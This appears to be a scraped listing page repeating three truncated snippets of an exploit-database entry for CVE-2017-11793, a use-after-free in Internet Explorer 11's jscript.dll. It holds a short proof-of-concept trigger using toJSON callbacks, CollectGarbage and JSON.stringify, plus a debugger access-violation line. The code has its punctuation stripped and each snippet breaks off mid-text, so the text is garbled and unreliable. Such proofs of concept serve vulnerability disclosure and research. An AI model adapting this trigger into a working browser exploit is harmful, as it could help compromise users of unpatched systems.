Microsoft Internet Explorer 11 - 'jscript!JSONStringifyObject' Use-After-Free

var o1 = toJSON:function alert'o1'; return o2; var o2 = toJSON:function alert'o2'; CollectGarbage; return 'x'; JSON.stringifyo1; g df8.e48: Access violation - code c0000005 first chance First chance exceptions are reported before any exception handling. This exception may be expected and handled...

Microsoft Internet Explorer 11 jscript!JSONStringifyObject Use-After-Free Exploit

There is a use-after-free in jscript.dll library that can be exploited in IE11. IE11: use-after-free in jscript!JSONStringifyObject CVE-2017-11793 There is a use-after-free in jscript.dll library that can be exploited in IE11. PoC: ========================================= var o1 = toJSON:functio...

Microsoft Internet Explorer 11 jscript!JSONStringifyObject Use-After-Free

IE11: use-after-free in jscript!JSONStringifyObject CVE-2017-11793 There is a use-after-free in jscript.dll library that can be exploited in IE11. PoC: ========================================= var o1 = toJSON:function alert'o1'; return o2; var o2 = toJSON:function alert'o2'; CollectGarbage; retu...